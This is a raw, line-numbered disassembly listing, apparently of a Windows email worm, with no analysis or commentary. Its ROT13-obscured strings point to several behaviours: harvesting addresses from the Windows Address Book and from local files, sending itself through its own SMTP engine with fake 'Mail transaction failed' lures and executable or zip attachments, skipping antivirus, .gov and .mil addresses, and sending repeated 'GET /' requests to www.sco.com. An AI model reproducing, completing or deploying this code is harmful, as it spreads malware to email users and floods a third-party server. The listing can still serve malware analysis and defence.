  854. aSubmit        db 'submit',0           ; DATA XREF: .text:004A12D8o
  855.         align 4
  856. aNot        db 'not',0              ; DATA XREF: .text:004A12D4o
  857. aHelp        db 'help',0             ; DATA XREF: .text:004A12D0o
  858.         align 4
  859. aService    db 'service',0          ; DATA XREF: .text:004A12CCo
  860. aPrivacy    db 'privacy',0          ; DATA XREF: .text:004A12C8o
  861. aSomebody    db 'somebody',0         ; DATA XREF: .text:004A12C4o
  862.         align 4
  863. aNo        db 'no',0               ; DATA XREF: .text:004A12C0o
  864.         align 4
  865. aSoft        db 'soft',0             ; DATA XREF: .text:004A12BCo
  866.         align 4
  867. aContact    db 'contact',0          ; DATA XREF: .text:004A12B8o
  868. aSite        db 'site',0             ; DATA XREF: .text:004A12B4o
  869.         align 4
  870. aRating        db 'rating',0           ; DATA XREF: .text:004A12B0o
  871.         align 4
  872. aBugs        db 'bugs',0             ; DATA XREF: .text:004A12ACo
  873.         align 4
  874. aMe        db 'me',0               ; DATA XREF: .text:004A12A8o
  875.         align 4
  876. aYou        db 'you',0              ; DATA XREF: .text:004A12A4o
  877. aYour        db 'your',0             ; DATA XREF: .text:004A12A0o
  878.         align 4
  879. aSomeone    db 'someone',0          ; DATA XREF: .text:004A129Co
  880. aAnyone        db 'anyone',0           ; DATA XREF: .text:004A1298o
  881.         align 4
  882. aNothing    db 'nothing',0          ; DATA XREF: .text:004A1294o
  883. aNobody        db 'nobody',0           ; DATA XREF: .text:004A1290o
  884.         align 4
  885. aNoone        db 'noone',0            ; DATA XREF: .text:004A128Co
  886.         align 4
  887. aWebmaster    db 'webmaster',0        ; DATA XREF: .text:004A1288o
  888.         align 4
  889. aPostmaster    db 'postmaster',0       ; DATA XREF: .text:004A1284o
  890.         align 4
  891. aSamples    db 'samples',0          ; DATA XREF: .text:004A1280o
  892. aInfo        db 'info',0             ; DATA XREF: .text:004A127Co
  893.         align 4
  894. aRoot        db 'root',0
  895.         align 4
  896. aBe_loyal    db 0Ah            ; DATA XREF: .text:004A1270o
  897.         db 0Ah
  898.         db 'be_loyal:',0
  899. aMozilla    db 'mozilla',0          ; DATA XREF: .text:004A1268o
  900. aUtgers_ed    db 'utgers.ed',0        ; DATA XREF: .text:004A1264o
  901.         align 4
  902. aTanford_e    db 'tanford.e',0        ; DATA XREF: .text:004A1260o
  903.         align 4
  904. aPgp        db 'pgp',0              ; DATA XREF: .text:004A125Co
  905. aAcketst    db 'acketst',0          ; DATA XREF: .text:004A1258o
  906. aSecur        db 'secur',0            ; DATA XREF: .text:004A1254o
  907.                     ; sub_4A55D4+E0o
  908.         align 4
  909. aIsc_o        db 'isc.o',0            ; DATA XREF: .text:004A1250o
  910.         align 4
  911. aIsi_e        db 'isi.e',0            ; DATA XREF: .text:004A124Co
  912.         align 4
  913. aRipe_        db 'ripe.',0            ; DATA XREF: .text:004A1248o
  914.         align 4
  915. aArin_        db 'arin.',0            ; DATA XREF: .text:004A1244o
  916.         align 4
  917. aSendmail    db 'sendmail',0         ; DATA XREF: .text:004A1240o
  918.         align 4
  919. aRfcEd        db 'rfc-ed',0           ; DATA XREF: .text:004A123Co
  920.         align 4
  921. aIetf        db 'ietf',0             ; DATA XREF: .text:004A1238o
  922.         align 4
  923. aIana        db 'iana',0             ; DATA XREF: .text:004A1234o
  924.         align 4
  925. aUsenet        db 'usenet',0           ; DATA XREF: .text:004A1230o
  926.         align 4
  927. aFido        db 'fido',0             ; DATA XREF: .text:004A122Co
  928.         align 4
  929. aLinux        db 'linux',0            ; DATA XREF: .text:004A1228o
  930.                     ; .text:004A130Co
  931.         align 4
  932. aKernel        db 'kernel',0           ; DATA XREF: .text:004A1224o
  933.         align 4
  934. aGoogle        db 'google',0           ; DATA XREF: .text:004A1220o
  935.                     ; .text:004A1318o
  936.         align 4
  937. aIbm_com    db 'ibm.com',0          ; DATA XREF: .text:004A121Co
  938. aFsf_        db 'fsf.',0             ; DATA XREF: .text:004A1218o
  939.         align 4
  940. aGnu        db 'gnu',0              ; DATA XREF: .text:004A1214o
  941. aMit_e        db 'mit.e',0            ; DATA XREF: .text:004A1210o
  942.         align 4
  943. aBsd        db 'bsd',0              ; DATA XREF: .text:004A120Co
  944.                     ; .text:004A1308o
  945. aMath        db 'math',0             ; DATA XREF: .text:004A1208o
  946.         align 4
  947. aUnix        db 'unix',0             ; DATA XREF: .text:004A1204o
  948.                     ; .text:004A1304o
  949.         align 4
  950. aBerkeley    db 'berkeley',0
  951.         align 4
  952. asc_4A2A44    db 0Ah            ; DATA XREF: .text:004A11F8o
  953.         db 0Ah
  954.         db 0Ah,0
  955. aFoo_        db 'foo.',0             ; DATA XREF: .text:004A11F0o
  956.         align 4
  957. a_mil        db '.mil',0             ; DATA XREF: .text:004A11ECo
  958.         align 4
  959. aGov_        db 'gov.',0             ; DATA XREF: .text:004A11E8o
  960.         align 4
  961. a_gov        db '.gov',0             ; DATA XREF: .text:004A11E4o
  962.         align 4
  963. aRuslis        db 'ruslis',0           ; DATA XREF: .text:004A11E0o
  964.         align 4
  965. aNodomai    db 'nodomai',0          ; DATA XREF: .text:004A11DCo
  966. aMydomai    db 'mydomai',0          ; DATA XREF: .text:004A11D8o
  967. aExample    db 'example',0          ; DATA XREF: .text:004A11D4o
  968. aInpris        db 'inpris',0           ; DATA XREF: .text:004A11D0o
  969.         align 4
  970. aBorlan        db 'borlan',0           ; DATA XREF: .text:004A11CCo
  971.         align 4
  972. aSopho        db 'sopho',0            ; DATA XREF: .text:004A11C8o
  973.         align 4
  974. aPanda        db 'panda',0            ; DATA XREF: .text:004A11C4o
  975.         align 4
  976. aHotmail    db 'hotmail',0          ; DATA XREF: .text:004A11C0o
  977. aMsn_        db 'msn.',0             ; DATA XREF: .text:004A11BCo
  978.         align 4
  979. aIcrosof    db 'icrosof',0          ; DATA XREF: .text:004A11B8o
  980. aSyma        db 'syma',0             ; DATA XREF: .text:004A11B4o
  981.         align 4
  982. aAvp        db 'avp',0
  983. a__        db '-._!',0             ; DATA XREF: sub_4A5108+64o
  984.                     ; sub_4A5108+FBo ...
  985.         align 4
  986. a__@        db '-._!@',0            ; DATA XREF: sub_4A5108+4Ao
  987.                     ; sub_4A5108+9Bo ...
  988.         align 4
  989. aAbuse        db 'abuse',0            ; DATA XREF: sub_4A55D4+FAo
  990.         align 4
  991. aWww        db 'www',0              ; DATA XREF: sub_4A55D4+C6o
  992. aFcnz        db 'fcnz',0             ; DATA XREF: sub_4A55D4+98o
  993.         align 4
  994. aSpm        db 'spm',0              ; DATA XREF: sub_4A55D4+7Fo
  995. a_edu        db '.edu',0             ; DATA XREF: sub_4A5788+BAo
  996.         align 4
  997. a@:                    ; DATA XREF: sub_4A586A+A2o
  998.         unicode    0, <@>,0
  999. byte_4A2B00    db 20h            ; DATA XREF: sub_4A5CE7+15r
  1000.         db '                               ',0
  1001.         dd 0Eh dup(0), 280000h,    29h, 27h dup(0), 2200000h, 0BC000000h
  1002.         db 2Dh,    4Ah, 0
  1003.         dd 1, 4A2DB8h, 2, 4A2DB4h, 1, 4A2AFCh, 2, 4A2DB0h, 1, 4A2AFCh
  1004.                     ; DATA XREF: sub_4A5CE7+38o
  1005.         dd 2, 4A2DACh, 1, 4A2AFCh, 3, 4A2DA8h, 1, 4A2AFCh, 4, 4A2DA0h
  1006.         dd 1, 4A2AFCh, 6, 4A2D98h, 1, 4A2DB8h, 5, 4A2D90h, 1, 4A2DB8h
  1007.         dd 4 dup(0)
  1008. byte_4A2C90    db 0            ; DATA XREF: sub_4A5DD4+39r
  1009.                     ; sub_4A5DD4+52r ...
  1010.         dd 8 dup(0), 2,    2 dup(0), 1000202h, 2 dup(1010101h), 1
  1011.         dd 2000000h, 6 dup(1010101h), 101h, 20000h, 6 dup(1010101h)
  1012.         dd 101h, 20h dup(0), 26000000h,    7073626Eh, 26000000h, 7073626Eh
  1013.         dd 2800003Bh, 297461h, 28000000h, 40002940h, 20000040h
  1014.         dd 40000040h
  1015.         db 20h,    2 dup(0)
  1016. dword_4A2DB8    dd 20h,    2020h        ; DATA XREF: sub_4A6FCD+1FBo
  1017. aFbsgjnerZvpe_1    db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: sub_4A60A5+Do
  1018.         align 4
  1019. aWab        db 'wab',0              ; DATA XREF: sub_4A6147+164o
  1020. aPl        db 'pl',0               ; DATA XREF: sub_4A6147+154o
  1021.         align 4
  1022. aAdbh        db 'adbh',0             ; DATA XREF: sub_4A6147+13Fo
  1023.         align 4
  1024. aTbbg        db 'tbbg',0             ; DATA XREF: sub_4A6147+120o
  1025.         align 4
  1026. aDbxn        db 'dbxn',0             ; DATA XREF: sub_4A6147+10Ao
  1027.         align 4
  1028. aAspd        db 'aspd',0             ; DATA XREF: sub_4A6147+F4o
  1029.         align 4
  1030. aPhpq        db 'phpq',0             ; DATA XREF: sub_4A6147+DAo
  1031.         align 4
  1032. aShtl        db 'shtl',0             ; DATA XREF: sub_4A6147+C0o
  1033.         align 4
  1034. aHtmb        db 'htmb',0             ; DATA XREF: sub_4A6147+A6o
  1035.         align 4
  1036. aTxt        db 'txt',0              ; DATA XREF: sub_4A6147+80o
  1037.                     ; sub_4A6FCD+1D9o
  1038. a_        db '*.*',0              ; DATA XREF: sub_4A630C+7Bo
  1039. aUserprofile    db 'USERPROFILE',0      ; DATA XREF: sub_4A64A8+6Ao
  1040. aYbpnyFrggvatf    db 'Ybpny Frggvatf',0   ; DATA XREF: sub_4A64A8+20o
  1041.         align 4
  1042. aGrzcbenelVagre    db 'Grzcbenel Vagrearg Svyrf',0 ; DATA XREF: sub_4A64A8+12o
  1043.         align 4
  1044. asc_4A2E6C    db ':\',0               ; DATA XREF: sub_4A6599+3Co
  1045.         align 4
  1046. dword_4A2E70    dd 0            ; DATA XREF: sub_4A6670+41r
  1047.                     ; sub_4A6670+54r ...
  1048.         dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
  1049.         dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,    0E0D5E91Eh
  1050.         dd 97D2D988h, 9B64C2Bh,    7EB17CBDh, 0E7B82D07h, 90BF1D91h
  1051.         dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,    1ADAD47Dh
  1052.         dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,    646BA8C0h
  1053.         dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,    0FA0F3D63h
  1054.         dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,    0A2677172h
  1055.         dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
  1056.         dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
  1057.         dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
  1058.         dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
  1059.         dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
  1060.         dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
  1061.         dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
  1062.         dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,    0E10E9818h
  1063.         dd 7F6A0DBBh, 86D3D2Dh,    91646C97h, 0E6635C01h, 6B6B51F4h
  1064.         dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,    1B01A57Bh
  1065.         dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,    8BBEB8EAh
  1066.         dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,    0FBD44C65h
  1067.         dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
  1068.         dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
  1069.         dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
  1070.         dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
  1071.         dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
  1072.         dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
  1073.         dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
  1074.         dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
  1075.         dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,    0E40ECF0Bh
  1076.         dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,    8708A3D2h
  1077.         dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,    196C3671h
  1078.         dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,    67DD4ACCh
  1079.         dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,    0D6D6A3E8h
  1080.         dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
  1081.         dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
  1082.         dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
  1083.         dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
  1084.         dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
  1085.         dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
  1086.         dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,    26D930Ah
  1087.         dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
  1088.         dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,    0E5D5BE0Dh
  1089.         dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,    68DDB3F8h
  1090.         dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,    18B74777h
  1091.         dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,    8F659EFFh
  1092.         dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
  1093.         dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
  1094.         dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
  1095.         dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
  1096.         dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
  1097.         dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
  1098.         dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
  1099. aTrgUggc1_1Ubfg    db 'TRG / UGGC/1.1',0Dh,0Ah ; DATA XREF: sub_4A6BB4+11o
  1100.         db 'Ubfg: jjj.fpb.pbz',0Dh,0Ah
  1101.         db 0Dh,0Ah,0
  1102.         align 4
  1103. aJjj_fpb_pbz    db 'jjj.fpb.pbz',0      ; DATA XREF: sub_4A6C3B+12o
  1104.         align 8
  1105. byte_4A32A8    db 1Eh            ; DATA XREF: sub_4A6D9F+5Eo
  1106.                     ; sub_4A6D9F+98r
  1107.         align 4
  1108. dword_4A32AC    dd 4A3428h        ; DATA XREF: sub_4A6D9F+A4r
  1109. byte_4A32B0    db 0Fh            ; DATA XREF: sub_4A6D9F+8Cr
  1110.         align 4
  1111.         dd offset aErnqzr    ; "ernqzr"
  1112.         dd 0Fh,    4A341Ch, 0Fh, 4A3414h, 0Ah, 4A340Ch, 0Ah, 4A3404h
  1113.         dd 5, 4A33FCh, 11h, 4A33F4h, 11h, 4A33ECh, 0, 4A33E8h
  1114. byte_4A32F8    db 32h            ; DATA XREF: sub_4A6D9F+BEo
  1115.                     ; sub_4A6D9F+F8r
  1116.         align 4
  1117. dword_4A32FC    dd 4A33E4h        ; DATA XREF: sub_4A6D9F+104r
  1118. byte_4A3300    db 32h            ; DATA XREF: sub_4A6D9F+ECr
  1119.         align 4
  1120.         dd offset dword_4A33E0
  1121.         dd 0Fh,    4A33DCh, 5, 4A33D8h, 5,    4A33D4h, 0, 4A33E8h
  1122. byte_4A3328    db 0Ch            ; DATA XREF: sub_4A6ED6+5Eo
  1123.                     ; sub_4A6ED6+98r
  1124.         align 4
  1125. dword_4A332C    dd 4A33E8h        ; DATA XREF: sub_4A6ED6+A4r
  1126. byte_4A3330    db 23h            ; DATA XREF: sub_4A6ED6+8Cr
  1127.         dd 0FC000000h, 23004A33h, 0D0000000h, 23004A33h, 0C8000000h
  1128.         dd 8004A33h, 0B0000000h, 8004A33h, 98000000h, 8004A33h
  1129.         dd 88000000h, 0A004A33h, 80000000h, 0A004A33h, 78000000h
  1130.         dd 4A33h, 0E8000000h, 52004A33h, 65626565h, 46000000h
  1131.         dd 68676E67h, 46000066h, 72696572h, 72452065h, 67656263h
  1132.         dd 5A000000h, 2079766Eh, 616E6547h, 67706E66h, 20616276h
  1133.         dd 79766E53h, 5A007172h, 2079766Eh, 76797251h, 6C657269h
  1134.         dd 666C4620h, 7A7267h, 75000000h, 62797972h, 75000000h
  1135.         dd 6F000076h, 7000676Eh, 7200717Ah
  1136.         db 6Bh,    72h, 0
  1137. dword_4A33E0    dd 657066h, 737663h    ; DATA XREF: .text:004A3304o
  1138. dword_4A33E8    dd 0, 6C71626Fh, 0, 6666727Ah, 72746Eh,    67667267h, 0, 6E676E71h
  1139.                     ; DATA XREF: sub_4A7255+Fo
  1140.         dd 0, 72797673h, 0, 676B7267h, 0, 706271h
  1141. aErnqzr        db 'ernqzr',0           ; DATA XREF: .text:004A32B4o
  1142.         align 4
  1143. aQbphzrag    db 'qbphzrag',0
  1144.         align 4
  1145. aUbgznvy_pbz    db 'ubgznvy.pbz',0      ; DATA XREF: .text:004A13F8o
  1146. aLnubb_pbz    db 'lnubb.pbz',0        ; DATA XREF: .text:004A13F4o
  1147.         align 4
  1148. aZfa_pbz    db 'zfa.pbz',0          ; DATA XREF: .text:004A13F0o
  1149. aNby_pbz    db 'nby.pbz',0
  1150. aS_S        db '%s.%s',0            ; DATA XREF: sub_4A6D9F+125o
  1151.         align 4
  1152. aXe        db 'xe',0               ; DATA XREF: sub_4A6FCD+257o
  1153.         align 4
  1154. aCr        db 'cr',0               ; DATA XREF: sub_4A6FCD+248o
  1155.         align 4
  1156. aS_0:                    ; DATA XREF: sub_4A6FCD+240o
  1157.         unicode    0, <s>,0
  1158. aIf        db 'if',0               ; DATA XREF: sub_4A6FCD+239o
  1159.         align 4
  1160. aP:                    ; DATA XREF: sub_4A6FCD+231o
  1161.         unicode    0, <p>,0
  1162. aDoc        db 'doc',0              ; DATA XREF: sub_4A6FCD+1E0o
  1163. aHtm        db 'htm',0              ; DATA XREF: sub_4A6FCD+1D2o
  1164. aS_zip        db '%s.zip',0           ; DATA XREF: sub_4A6FCD+11Bo
  1165.         align 4
  1166. ; const    CHAR PrefixString
  1167. PrefixString    db 't'                  ; DATA XREF: sub_4A6FCD+9Bo
  1168.         db 6Dh,    70h, 0
  1169. aMailTransactio    db 'Mail transaction failed. Partial message is available.',0
  1170.                     ; DATA XREF: sub_4A7255+42o
  1171.         align 8
  1172. aTheMessageCont    db 'The message contains Unicode characters and has been sent as'
  1173.                     ; DATA XREF: sub_4A7255+38o
  1174.         db ' a binary attachment.',0
  1175.         align 8
  1176. aTheMessageCann    db 'The message cannot be represented in 7-bit ASCII encoding an'
  1177.                     ; DATA XREF: sub_4A7255+2Eo
  1178.         db 'd has been sent as a binary attachment.',0
  1179. aTest        db 'test',0             ; DATA XREF: sub_4A7255+24o
  1180.         align 8
  1181. aAbcdefghijkl_1    db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567'
  1182.                     ; DATA XREF: sub_4A7366+Ao
  1183.         db '89+/',0
  1184.         align 4
  1185. asc_4A35D4    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+112o
  1186.         db 0Dh,0Ah,0
  1187.         align 4
  1188. aKZfznvyCevbevg    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+100o
  1189.         db 'K-ZFZnvy-Cevbevgl: Abezny',0
  1190. aKCevbevgl3    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+EEo
  1191.         db 'K-Cevbevgl: 3',0
  1192. aBoundaryS    db 9,'boundary="%s"',0  ; DATA XREF: sub_4A74DD+E0o
  1193.         align 4
  1194. aPbagragGlcrZhy    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+CCo
  1195.         db 'Pbagrag-Glcr: zhygvcneg/zvkrq;',0Dh,0Ah,0
  1196.         align 4
  1197. aZvzrIrefvba1_0    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+BAo
  1198.         db 'ZVZR-Irefvba: 1.0',0
  1199. aQngr        db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+99o
  1200.         db 'Qngr: ',0
  1201.         align 4
  1202. aFhowrpg    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+7Do
  1203.         db 'Fhowrpg: ',0
  1204. aGb        db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+66o
  1205.         db 'Gb: ',0
  1206.         align 4
  1207. aSebz        db 'Sebz: ',0           ; DATA XREF: sub_4A74DD+45o
  1208.         align 4
  1209. a_S__3u__4u__8x    db '----=_%s_%.3u_%.4u_%.8X.%.8X',0 ; DATA XREF: sub_4A74DD+39o
  1210.         align 4
  1211. aNextpart    db 'NextPart',0         ; DATA XREF: sub_4A74DD+34o
  1212.         align 4
  1213. aS        db 0Dh,0Ah        ; DATA XREF: sub_4A75FD+C0o
  1214.         db 0Dh,0Ah
  1215.         db '--%s--',0Dh,0Ah
  1216.         db 0Dh,0Ah,0
  1217.         align 8
  1218. aFPbagragGlcrNc    db '--%f',0Dh,0Ah       ; DATA XREF: sub_4A75FD+76o
  1219.         db 'Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;',0Dh,0Ah
  1220.         db 9,'anzr="%f"',0Dh,0Ah
  1221.         db 'Pbagrag-Genafsre-Rapbqvat: onfr64',0Dh,0Ah
  1222.         db 'Pbagrag-Qvfcbfvgvba: nggnpuzrag;',0Dh,0Ah
  1223.         db 9,'svyranzr="%f"',0Dh,0Ah
  1224.         db 0Dh,0Ah,0
  1225.         align 4
  1226. asc_4A374C    db 0Dh,0Ah        ; DATA XREF: sub_4A75FD+62o
  1227.         db 0Dh,0Ah
  1228.         db 0Dh,0Ah,0
  1229.         align 8
  1230. aFPbagragGlcrGr    db '--%f',0Dh,0Ah       ; DATA XREF: sub_4A75FD+31o
  1231.         db 'Pbagrag-Glcr: grkg/cynva;',0Dh,0Ah
  1232.         db 9,'punefrg="Jvaqbjf-1252"',0Dh,0Ah
  1233.         db 'Pbagrag-Genafsre-Rapbqvat: 7ovg',0Dh,0Ah
  1234.         db 0Dh,0Ah,0
  1235.         align 4
  1236. aGuvfVfNZhygvCn    db 'Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.',0Dh,0Ah
  1237.                     ; DATA XREF: sub_4A75FD+1Bo
  1238.         db 0Dh,0Ah,0
  1239.         align 4
  1240. aQuit        db 'QUIT',0Dh,0Ah,0     ; DATA XREF: sub_4A7B47+286o
  1241.         align 4
  1242. a__0        db 0Dh,0Ah        ; DATA XREF: sub_4A7B47+25Fo
  1243.         db '.',0Dh,0Ah,0
  1244.         align 4
  1245. aData        db 'DATA',0Dh,0Ah,0     ; DATA XREF: sub_4A7B47+1D9o
  1246.         align 4
  1247. aEpcgGbF    db 'EPCG GB:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1A3o
  1248.         align 4
  1249. aZnvySebzF    db 'ZNVY SEBZ:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+167o
  1250.         align 4
  1251. aUrybF        db 'URYB %f',0Dh,0Ah,0  ; DATA XREF: sub_4A7B47+12Bo
  1252.         align 4
  1253. aRuybF        db 'RUYB %f',0Dh,0Ah,0  ; DATA XREF: sub_4A7B47+F2o
  1254.         align 4
  1255. aTo        db 'To',0               ; DATA XREF: sub_4A7B47+36o
  1256.                     ; sub_4A7F4C+1Co
  1257.         align 4
  1258. aFrom        db 'From',0             ; DATA XREF: sub_4A7B47+1Ao
  1259.         align 4
  1260. aFzgcFreire    db 'FZGC Freire',0      ; DATA XREF: sub_4A7DFD+21o
  1261. aFbsgjnerZvpe_2    db 'Fbsgjner\Zvpebfbsg\Vagrearg Nppbhag Znantre\Nppbhagf',0
  1262.                     ; DATA XREF: sub_4A7DFD+10o
  1263.         align 4
  1264. aGate_S        db 'gate.%s',0          ; DATA XREF: sub_4A7F4C+154o
  1265. aNs_S        db 'ns.%s',0            ; DATA XREF: sub_4A7F4C+146o
  1266.         align 4
  1267. aRelay_S    db 'relay.%s',0         ; DATA XREF: sub_4A7F4C+138o
  1268.         align 4
  1269. aMail1_S    db 'mail1.%s',0         ; DATA XREF: sub_4A7F4C+12Ao
  1270.         align 4
  1271. aMxs_S        db 'mxs.%s',0           ; DATA XREF: sub_4A7F4C+11Co
  1272.         align 4
  1273. aMx1_S        db 'mx1.%s',0           ; DATA XREF: sub_4A7F4C+10Eo
  1274.         align 4
  1275. aSmtp_S        db 'smtp.%s',0          ; DATA XREF: sub_4A7F4C+100o
  1276. aMail_S        db 'mail.%s',0          ; DATA XREF: sub_4A7F4C+F2o
  1277. aMx_S        db 'mx.%s',0            ; DATA XREF: sub_4A7F4C+E4o
  1278.         align 4
  1279.  
  1280. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1281.  
  1282. ; Attributes: bp-based frame
  1283.  
  1284. ; int __cdecl sub_4A38E0(int,int,HANDLE    hFile)
  1285. sub_4A38E0    proc near        ; CODE XREF: sub_4A3962+E9p
  1286.  
  1287. var_40A        = byte ptr -40Ah
  1288. Buffer        = byte ptr -408h
  1289. NumberOfBytesWritten= dword ptr    -8
  1290. var_1        = byte ptr -1
  1291. arg_0        = dword    ptr  8
  1292. arg_4        = dword    ptr  0Ch
  1293. hFile        = dword    ptr  10h
  1294.  
  1295.         push    ebp
  1296.         mov    ebp, esp
  1297.         sub    esp, 408h
  1298.         push    esi
  1299.         xor    ecx, ecx
  1300.         xor    esi, esi
  1301.         cmp    [ebp+arg_4], ecx
  1302.         mov    [ebp+var_1], 0C7h
  1303.         jle    short loc_4A395F
  1304.         push    edi
  1305.         mov    edi, ds:WriteFile
  1306.         push    ebx
  1307.  
  1308. loc_4A38FF:                ; CODE XREF: sub_4A38E0+64j
  1309.         cmp    ecx, 400h
  1310.         jb    short loc_4A391C
  1311.         lea    eax, [ebp+NumberOfBytesWritten]
  1312.         push    0        ; lpOverlapped
  1313.         push    eax        ; lpNumberOfBytesWritten
  1314.         lea    eax, [ebp+Buffer]
  1315.         push    ecx        ; nNumberOfBytesToWrite
  1316.         push    eax        ; lpBuffer
  1317.         push    [ebp+hFile]    ; hFile
  1318.         call    edi ; WriteFile
  1319.         xor    ecx, ecx
  1320.  
  1321. loc_4A391C:                ; CODE XREF: sub_4A38E0+25j
  1322.         mov    eax, [ebp+arg_0]
  1323.         mov    ebx, 85h
  1324.         mov    al, [esi+eax]
  1325.         xor    al, [ebp+var_1]
  1326.         inc    ecx
  1327.         mov    [ebp+ecx-409h],    al
  1328.         mov    eax, esi
  1329.         cdq
  1330.         idiv    ebx
  1331.         mov    al, dl
  1332.         mov    dl, 3
  1333.         imul    dl
  1334.         add    [ebp+var_1], al
  1335.         inc    esi
  1336.         cmp    esi, [ebp+arg_4]
  1337.         jl    short loc_4A38FF
  1338.         test    ecx, ecx
  1339.         pop    ebx
  1340.         jz    short loc_4A395E
  1341.         lea    eax, [ebp+NumberOfBytesWritten]
  1342.         push    0        ; lpOverlapped
  1343.         push    eax        ; lpNumberOfBytesWritten
  1344.         lea    eax, [ebp+Buffer]
  1345.         push    ecx        ; nNumberOfBytesToWrite
  1346.         push    eax        ; lpBuffer
  1347.         push    [ebp+hFile]    ; hFile
  1348.         call    edi ; WriteFile
  1349.  
  1350. loc_4A395E:                ; CODE XREF: sub_4A38E0+69j
  1351.         pop    edi
  1352.  
  1353. loc_4A395F:                ; CODE XREF: sub_4A38E0+15j
  1354.         pop    esi
  1355.         leave
  1356.         retn
  1357. sub_4A38E0    endp
  1358.  
  1359.  
  1360. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1361.  
  1362. ; Attributes: bp-based frame
  1363.  
  1364. sub_4A3962    proc near        ; CODE XREF: main+45p
  1365.  
  1366. FileName    = byte ptr -12Ch
  1367. String2        = byte ptr -14h
  1368. arg_0        = dword    ptr  8
  1369.  
  1370.         push    ebp
  1371.         mov    ebp, esp
  1372.         sub    esp, 12Ch
  1373.         push    ebx
  1374.         push    esi
  1375.         push    edi
  1376.         lea    eax, [ebp+String2]
  1377.         push    offset dword_4A244C
  1378.         push    eax
  1379.         call    sub_4A465E
  1380.         mov    esi, [ebp+arg_0]
  1381.         mov    ebx, ds:lstrcatA
  1382.         pop    ecx
